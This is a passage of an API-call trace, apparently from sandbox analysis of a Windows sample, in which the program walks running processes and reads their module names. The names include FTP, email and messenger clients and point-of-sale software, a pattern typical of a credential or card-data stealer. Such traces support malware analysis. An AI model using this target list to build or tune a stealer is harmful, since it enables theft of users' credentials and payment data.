(cb=0x108) returned 0x841860 [0252.964] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="your hit sense.exe") returned 0x12 [0252.965] CoTaskMemFree (pv=0x841860) [0252.965] CloseHandle (hObject=0x6d0) returned 1 [0252.965] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.965] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa1c) returned 0x6d0 [0252.965] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.966] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.966] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="leftparticularly.exe") returned 0x14 [0252.966] CoTaskMemFree (pv=0x841860) [0252.966] CloseHandle (hObject=0x6d0) returned 1 [0252.966] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.966] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa28) returned 0x6d0 [0252.966] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.967] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.967] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="must-issue.exe") returned 0xe [0252.967] CoTaskMemFree (pv=0x841860) [0252.967] CloseHandle (hObject=0x6d0) returned 1 [0252.967] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.967] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa34) returned 0x6d0 [0252.967] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.968] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.968] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="call_order_arrive.exe") returned 0x15 [0252.968] CoTaskMemFree (pv=0x841860) [0252.968] CloseHandle (hObject=0x6d0) returned 1 [0252.968] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.969] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa40) returned 0x6d0 [0252.969] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.969] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.969] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="natural_reach_decide.exe") returned 0x18 [0252.970] CoTaskMemFree (pv=0x841860) [0252.970] CloseHandle (hObject=0x6d0) returned 1 [0252.970] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.970] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa4c) returned 0x6d0 [0252.970] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.970] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.970] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="another great.exe") returned 0x11 [0252.971] CoTaskMemFree (pv=0x841860) [0252.971] CloseHandle (hObject=0x6d0) returned 1 [0252.971] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.971] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa58) returned 0x6d0 [0252.971] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.972] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.972] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="bill order.exe") returned 0xe [0252.972] CoTaskMemFree (pv=0x841860) [0252.972] CloseHandle (hObject=0x6d0) returned 1 [0252.972] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.972] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0x6d0 [0252.972] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.973] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.973] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="large price.exe") returned 0xf [0252.973] CoTaskMemFree (pv=0x841860) [0252.973] CloseHandle (hObject=0x6d0) returned 1 [0252.973] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa6c) returned 0x6d0 [0252.973] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.974] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.974] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="senior.exe") returned 0xa [0252.974] CoTaskMemFree (pv=0x841860) [0252.974] CloseHandle (hObject=0x6d0) returned 1 [0252.975] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.975] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x768) returned 0x6d0 [0252.975] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.975] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.975] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="barca.exe") returned 0x9 [0252.976] CoTaskMemFree (pv=0x841860) [0252.976] CloseHandle (hObject=0x6d0) returned 1 [0252.976] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.976] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x89c) returned 0x6d0 [0252.976] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.976] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.976] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="bitkinex.exe") returned 0xc [0252.977] CoTaskMemFree (pv=0x841860) [0252.977] CloseHandle (hObject=0x6d0) returned 1 [0252.977] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.977] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b8) returned 0x6d0 [0252.977] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.978] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.978] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="coreftp.exe") returned 0xb [0252.978] CoTaskMemFree (pv=0x841860) [0252.978] CloseHandle (hObject=0x6d0) returned 1 [0252.978] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.978] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x804) returned 0x6d0 [0252.978] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.979] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.979] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="far.exe") returned 0x7 [0252.979] CoTaskMemFree (pv=0x841860) [0252.979] CloseHandle (hObject=0x6d0) returned 1 [0252.979] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.979] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x64) returned 0x6d0 [0252.979] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.980] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.980] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="filezilla.exe") returned 0xd [0252.980] CoTaskMemFree (pv=0x841860) [0252.980] CloseHandle (hObject=0x6d0) returned 1 [0252.980] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.980] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0x6d0 [0252.980] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.981] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.981] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="flashfxp.exe") returned 0xc [0252.981] CoTaskMemFree (pv=0x841860) [0252.981] CloseHandle (hObject=0x6d0) returned 1 [0252.981] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.981] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc4) returned 0x6d0 [0252.982] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.982] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.982] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="fling.exe") returned 0x9 [0252.982] CoTaskMemFree (pv=0x841860) [0252.982] CloseHandle (hObject=0x6d0) returned 1 [0252.983] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.983] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x62c) returned 0x6d0 [0252.983] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.983] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.983] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="foxmailincmail.exe") returned 0x12 [0252.984] CoTaskMemFree (pv=0x841860) [0252.984] CloseHandle (hObject=0x6d0) returned 1 [0252.984] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.984] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x858) returned 0x6d0 [0252.984] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.984] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.984] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="gmailnotifierpro.exe") returned 0x14 [0252.985] CoTaskMemFree (pv=0x841860) [0252.985] CloseHandle (hObject=0x6d0) returned 1 [0252.985] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.985] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8bc) returned 0x6d0 [0252.985] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.986] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.986] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="icq.exe") returned 0x7 [0252.986] CoTaskMemFree (pv=0x841860) [0252.986] CloseHandle (hObject=0x6d0) returned 1 [0252.986] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.986] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0x6d0 [0252.986] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.987] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.987] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="leechftp.exe") returned 0xc [0252.987] CoTaskMemFree (pv=0x841860) [0252.987] CloseHandle (hObject=0x6d0) returned 1 [0252.987] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.987] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x918) returned 0x6d0 [0252.988] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.988] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.988] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="ncftp.exe") returned 0x9 [0252.988] CoTaskMemFree (pv=0x841860) [0252.988] CloseHandle (hObject=0x6d0) returned 1 [0252.989] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.989] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0x6d0 [0252.989] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.989] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.989] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="notepad.exe") returned 0xb [0252.990] CoTaskMemFree (pv=0x841860) [0252.990] CloseHandle (hObject=0x6d0) returned 1 [0252.990] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.990] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x96c) returned 0x6d0 [0252.990] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.991] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.991] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="operamail.exe") returned 0xd [0252.991] CoTaskMemFree (pv=0x841860) [0252.991] CloseHandle (hObject=0x6d0) returned 1 [0252.991] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.991] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x988) returned 0x6d0 [0252.991] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.992] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.992] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="outlook.exe") returned 0xb [0252.992] CoTaskMemFree (pv=0x841860) [0252.992] CloseHandle (hObject=0x6d0) returned 1 [0252.992] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.992] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x990) returned 0x6d0 [0252.993] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.993] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.993] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="pidgin.exe") returned 0xa [0252.993] CoTaskMemFree (pv=0x841860) [0252.993] CloseHandle (hObject=0x6d0) returned 1 [0252.994] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.994] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x998) returned 0x6d0 [0252.994] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.994] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.994] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="scriptftp.exe") returned 0xd [0252.995] CoTaskMemFree (pv=0x841860) [0252.995] CloseHandle (hObject=0x6d0) returned 1 [0252.995] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.995] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a0) returned 0x6d0 [0252.995] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.995] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.995] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="skype.exe") returned 0x9 [0252.996] CoTaskMemFree (pv=0x841860) [0252.996] CloseHandle (hObject=0x6d0) returned 1 [0252.996] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.996] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a8) returned 0x6d0 [0252.996] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.996] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.996] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="smartftp.exe") returned 0xc [0252.997] CoTaskMemFree (pv=0x841860) [0252.997] CloseHandle (hObject=0x6d0) returned 1 [0252.997] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.997] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x97c) returned 0x6d0 [0252.997] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.997] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.998] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="thunderbird.exe") returned 0xf [0252.998] CoTaskMemFree (pv=0x841860) [0252.998] CloseHandle (hObject=0x6d0) returned 1 [0252.998] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.998] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x978) returned 0x6d0 [0252.998] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0252.999] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0252.999] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="trillian.exe") returned 0xc [0252.999] CoTaskMemFree (pv=0x841860) [0252.999] CloseHandle (hObject=0x6d0) returned 1 [0252.999] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0252.999] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0x6d0 [0252.999] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.000] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.000] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="webdrive.exe") returned 0xc [0253.000] CoTaskMemFree (pv=0x841860) [0253.000] CloseHandle (hObject=0x6d0) returned 1 [0253.000] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.000] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb60) returned 0x6d0 [0253.001] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.001] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.001] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="whatsapp.exe") returned 0xc [0253.001] CoTaskMemFree (pv=0x841860) [0253.001] CloseHandle (hObject=0x6d0) returned 1 [0253.002] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.002] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb68) returned 0x6d0 [0253.002] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.002] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.002] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="winscp.exe") returned 0xa [0253.003] CoTaskMemFree (pv=0x841860) [0253.003] CloseHandle (hObject=0x6d0) returned 1 [0253.003] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.003] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0x6d0 [0253.003] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.003] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.003] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="yahoomessenger.exe") returned 0x12 [0253.004] CoTaskMemFree (pv=0x841860) [0253.004] CloseHandle (hObject=0x6d0) returned 1 [0253.004] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.004] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb78) returned 0x6d0 [0253.004] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.005] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.005] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="active-charge.exe") returned 0x11 [0253.006] CoTaskMemFree (pv=0x841860) [0253.006] CloseHandle (hObject=0x6d0) returned 1 [0253.007] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.007] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb80) returned 0x6d0 [0253.007] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.007] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.007] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="accupos.exe") returned 0xb [0253.008] CoTaskMemFree (pv=0x841860) [0253.008] CloseHandle (hObject=0x6d0) returned 1 [0253.008] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.008] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb88) returned 0x6d0 [0253.008] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.008] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.008] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="afr38.exe") returned 0x9 [0253.009] CoTaskMemFree (pv=0x841860) [0253.009] CloseHandle (hObject=0x6d0) returned 1 [0253.009] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.009] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb90) returned 0x6d0 [0253.009] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.010] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.010] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="aldelo.exe") returned 0xa [0253.010] CoTaskMemFree (pv=0x841860) [0253.010] CloseHandle (hObject=0x6d0) returned 1 [0253.010] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.010] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb98) returned 0x6d0 [0253.010] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.011] CoTaskMemAlloc (cb=0x108) returned 0x841860 [0253.011] GetModuleBaseNameA (in: hProcess=0x6d0, hModule=0x0, lpBaseName=0x841860, nSize=0x104 | out: lpBaseName="ccv_server.exe") returned 0xe [0253.011] CoTaskMemFree (pv=0x841860) [0253.011] CloseHandle (hObject=0x6d0) returned 1 [0253.011] GetWindowTextW (in: hWnd=0x6d0, lpString=0x3ee360, nMaxCount=51 | out: lpString="") returned 0 [0253.011] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba0) returned 0x6d0 [0253.011] EnumProcessModules (in: hProcess=0x6d0, lphModule=0x0, cb=0x4, lpcbNeeded=0x3ee4a8 | out: lphModule=0x0, lpcbNeeded=0x3ee4a8) returned 0 [0253.012] CoTaskMemAlloc 